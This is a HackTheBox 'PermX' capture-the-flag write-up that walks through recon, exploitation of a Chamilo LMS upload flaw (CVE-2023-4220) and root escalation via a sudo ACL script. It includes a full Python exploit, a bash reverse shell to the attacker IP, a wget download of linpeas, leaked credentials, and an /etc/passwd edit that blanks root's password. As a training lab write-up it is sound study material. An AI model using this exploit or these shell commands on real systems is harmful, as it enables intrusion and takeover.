PermX – HackTheBox Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
“PermX” is an easy machine from HackTheBox
platform. We are able to find that the victim target is running a webserver, vhosting
a vulnerable version of Chamilo LMS
that is vulnerable to Remote Code Execution
(CVE-2023-4220). This allow us to gain initial access to the victim machine. We are then able to get credentials for a user after inspecting configurations files in the victim machine. Pivoting to this new user, shows it can run a custom script as root
that allow us to create a symbolic link to senstive files and edit them. Therefore, we are able to edit /etc/shadow
and delete/change the password for root
user and take the control of this account.
User Link to heading
Starting with a quick Nmap
scan shows only 2 ports open:
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.23
where we can see 2 ports open: 22
SSH
and 80
HTTP
.
Checking its versions/details we have:
❯ sudo nmap -sVC -p22,80 10.10.11.23 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-14 19:06 -04
Nmap scan report for 10.10.11.23
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.35 seconds
From the output we see that the HTTP
site redirects to permx.htb
, so we add this domain to my /etc/hosts
file running:
❯ echo '10.10.11.23 permx.htb' | sudo tee -a /etc/hosts
Once added, we scan the site http://permx.htb
with WhatWeb
:
❯ whatweb -a 3 http://permx.htb
http://permx.htb [200 OK] Apache[2.4.52], Bootstrap[5.0.0], Country[RESERVED][ZZ], Email[permx@htb.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]
but we do not see much info besides an email permx@htb.com
.
We then visit the website on a web browser, where we can see:
I visit the site, but I only see html
pages and if we click on Join Now
it just redirects to the main page. At this point I decide to look for hidden directories through a Brute Force Directory Listing
with Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://permx.htb -t 55 --add-slash
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://permx.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img/ (Status: 200) [Size: 4406]
/icons/ (Status: 403) [Size: 274]
/css/ (Status: 200) [Size: 1140]
/lib/ (Status: 200) [Size: 1714]
/js/ (Status: 200) [Size: 922]
/server-status/ (Status: 403) [Size: 274]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
but I do not find any interesting directory.
Then, I decide to search for vhosts
using ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://permx.htb/ -H 'Host: FUZZ.permx.htb' -t 30 -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 30
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 162ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 196ms]
:: Progress: [4989/4989] :: Job [1/1] :: 184 req/sec :: Duration: [0:00:26] :: Errors: 0 ::
and we find 2 new subdomanis: www.permx.htb
and lms.permx.htb
.
I add these new domains to my /etc/hosts
file, so it now looks like:
❯ tail -n 1 /etc/hosts
10.10.11.23 permx.htb www.permx.htb lms.permx.htb
Visiting www.permx.htb
just shows the site http://permx.htb
. Visiting http://lms.permx.htb
shows a login panel:
where we have a portal running Chamilo LMS
.
Chamilo LMS
is a learning management system designed to support effective online education (often referred to as e-learning).Searching for recent exploits for this software we find a vulnerability labeled as CVE-2023-3533. This page explains how the exploit works, but this exploit did not work in the victim machine. Then, we also find another vulnerability labeled as CVE-2023-4220. This page provides a Proof of Concept
(PoC
) for this vulnerability:
$ echo '<?php system("id"); ?>' > rce.php
$ curl -F 'bigUploadFile=@rce.php' 'http://<chamilo>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
$ curl 'http://<chamilo>/main/inc/lib/javascript/bigupload/files/rce.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
where I adapt it to a Python
script as:
#!/usr/bin/python3
import requests
import argparse
from sys import exit as sysexit
from os import remove as osremove
def parse_arguments()->argparse.Namespace:
parser = argparse.ArgumentParser(description='Process some flags.')
# Add arguments
parser.add_argument('-u', '--url', type=str, help='URL running Chamilo LMS. Example: http://example-target.com', required=True)
parser.add_argument('-c', '--command', type=str, help='System command to run in the victim target', required=True)
parser.add_argument('-f', '--filename', type=str, help='PHP filename/payload to upload to the target. Default: poc.php', default='poc.php')
# Return parsed arguments
return parser.parse_args()
def create_payload(args:argparse.Namespace)->None:
# Create and write the file that contains the payload
php_code = f'<?php system("{args.command}"); ?>'
with open(args.filename, 'w') as file:
file.write(php_code)
print(f"[+] Creating the PHP file/payload with the command {args.command!r}...")
return
def upload_payload(args: argparse.Namespace)->None:
# Set the url to attack
upload_url: str = f'{args.url}/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
print("[+] Attempting to upload the payload...")
with open(args.filename, 'rb') as file:
files = {'bigUploadFile': file}
try:
response = requests.post(upload_url, files=files)
except Exception as err:
print(f"[-] Something happened when attempting to load the payload:\n{err}")
sysexit(1)
if response.status_code != 200:
print(f"[-] Bad status code in POST request: HTTP Status Code {response.status_code}")
sysexit(1)
print(f"[+] Server response:\n{response.text}")
return
def get_payload(args: argparse.Namespace)->None:
# Set the url where the file should be uploaded
access_url = f'{args.url}/main/inc/lib/javascript/bigupload/files/{args.filename}'
print("[+] Attempting to get the content of the uploaded file...")
try:
# Access the uploaded file
response = requests.get(access_url)
except Exception as err:
print(f"[-] Something happened:\n{err}")
sysexit(1)
# Print the response from the access request
print(f"[+] Uploaded file content:\n{response.text}")
return
def main()->None:
# Get argument from the user
args = parse_arguments()
print(f"[+] Attacking {args.url!r}...")
# Create the file/payload
create_payload(args)
try:
# Upload the payload
upload_payload(args)
# Get the content of the payload
get_payload(args)
finally:
# Remove the file/payload we have created
osremove(args.filename)
if __name__ == "__main__":
main()
I save it as CVE-2023-4220.py
(also available at my Github repository). To check if this works I will start a listener with tcpdump
for ICMP traces:
❯ sudo tcpdump -ni tun0 icmp
where tun0
is the HackTheBox
net interface name.
Then execute the script/exploit:
❯ python3 CVE-2023-4220.py -u http://lms.permx.htb -c 'ping -c1 10.10.16.9'
[+] Attacking 'http://lms.permx.htb'...
[+] Creating the PHP file/payload with the command 'ping -c1 10.10.16.9'...
[+] Attempting to upload the payload...
[+] Server response:
The file has successfully been uploaded.
[+] Attempting to get the content of the uploaded file...
[+] Uploaded file content:
PING 10.10.16.9 (10.10.16.9) 56(84) bytes of data.
64 bytes from 10.10.16.9: icmp_seq=1 ttl=63 time=292 ms
--- 10.10.16.9 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 291.716/291.716/291.716/0.000 ms
and in my tcpdump
listener I get:
❯ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
20:19:20.741360 IP 10.10.11.23 > 10.10.16.9: ICMP echo request, id 3, seq 1, length 64
20:19:20.741374 IP 10.10.16.9 > 10.10.11.23: ICMP echo reply, id 3, seq 1, length 64
so we have reached a Remote Code Execution
as the report described.
Therefore, we start a netcat
listener on port 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
and send a reverse shell to our attacker machine:
❯ python3 CVE-2023-4220.py -u http://lms.permx.htb -c "bash -c 'bash -i >& /dev/tcp/10.10.16.9/443 0>&1'"
[+] Attacking 'http://lms.permx.htb'...
[+] Creating the PHP file/payload with the command "bash -c 'bash -i >& /dev/tcp/10.10.16.9/443 0>&1'"...
[+] Attempting to upload the payload...
[+] Server response:
The file has successfully been uploaded.
[+] Attempting to get the content of the uploaded file...
where 10.10.16.9
is our attacker IP address and 443
the port we are listening.
In our netcat
listener we get a shell as www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.23] 55936
bash: cannot set terminal process group (1189): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami
<ilo/main/inc/lib/javascript/bigupload/files$ whoami
www-data
We decide to upload LinPEAS
to the victim machine. For this we can start a temporal HTTP
Python
server on port 8080
:
❯ ls -la && python3 -m http.server 8080
total 860
drwxr-xr-x 2 gunzf0x gunzf0x 4096 Jun 1 23:39 .
drwxr-xr-x 12 gunzf0x gunzf0x 4096 Feb 21 22:21 ..
-rwxr-xr-x 1 gunzf0x gunzf0x 862779 May 26 00:29 linpeas.sh
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
and then download it and assign to it execution permissions to that file:
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ wget http://10.10.16.9:8080/linpeas.sh -O /tmp/linpeas.sh
<SNIP>
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ chmod +x /tmp/linpeas.sh
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ /tmp/linpeas.sh
<SNIP>
After executing LinPEAS
we can see some credentials:
<SNIP>
╔══════════╣ Searching passwords in config PHP files
/var/www/chamilo/app/config/configuration.php: 'show_password_field' => false,
/var/www/chamilo/app/config/configuration.php: 'show_password_field' => true,
/var/www/chamilo/app/config/configuration.php: 'wget_password' => '',
/var/www/chamilo/app/config/configuration.php: 'force_different_password' => false,
/var/www/chamilo/app/config/configuration.php:$_configuration['auth_password_links'] = [
/var/www/chamilo/app/config/configuration.php:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
/var/www/chamilo/app/config/configuration.php:$_configuration['password_encryption'] = 'bcrypt';
/var/www/chamilo/app/config/configuration.php:/*$_configuration['password_requirements'] = [
/var/www/chamilo/app/config/configuration.php://$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;
<SNIP>
where we can see the password 03F6lY3uXAP2bkW8
.
We also note there is a user called mtz
:
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ls /home
mtz
We check if this password and this user are valid credentials with NetExec
via SSH
:
❯ netexec ssh 10.10.11.23 -u 'mtz' -p '03F6lY3uXAP2bkW8'
SSH 10.10.11.23 22 10.10.11.23 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.23 22 10.10.11.23 [+] mtz:03F6lY3uXAP2bkW8 (non root) Linux - Shell access!
and they work.
We then connect to the machine via SSH
as mtz
user:
❯ sshpass -p '03F6lY3uXAP2bkW8' ssh -o stricthostkeychecking=no mtz@10.10.11.23
<SNIP>
mtz@permx:~$ ls
user.txt
where we can get the user flag.
Root Link to heading
Checking what can this user run with sudo
we have:
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
where I see we can run the script /opt/acl.sh
without providing a password.
Checking this script:
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if ` "$target" != /home/mtz/* || "$target" == *..* `; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
This Bash
script is designed to set file access control lists (ACLs) for a specified user on a specified file. Based on GTFOBins
, as explained here, we can use setfacl
to assign permission to files system.
Nevertheless, the script has 2 restrictions:
- The file must be located at
/home/mtz
directory. - The filename cannot have
..
in its name. Attempt aDirectory Traversal
is not possible.
After thinking about it we can try to create a symbolic link to /etc/passwd
and locate it at /home/mtz
:
mtz@permx:~$ ln -s /etc/passwd /home/mtz/passwd_copy
Then just run the script:
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd_copy
We did not get any errors, maybe this worked.
If this has worked, now we should be able to edit /etc/passwd
file. I edit the file using nano
inside the target machine (just execute nano /home/mtz/passwd_copy
or nano /etc/passwd
) and only change the line:
root:x:0:0:root:/root:/bin/bash
to
root::0:0:root:/root:/bin/bash
I.e., now root
user does not ask for a password to log in as this user.
Therefore, once we have edited /etc/passwd
through the symbolic link, we just run:
mtz@permx:~$ su root
root@permx:/home/mtz# whoami
root
GG. We can get the user root
flag at /root
directory.
~Happy Hacking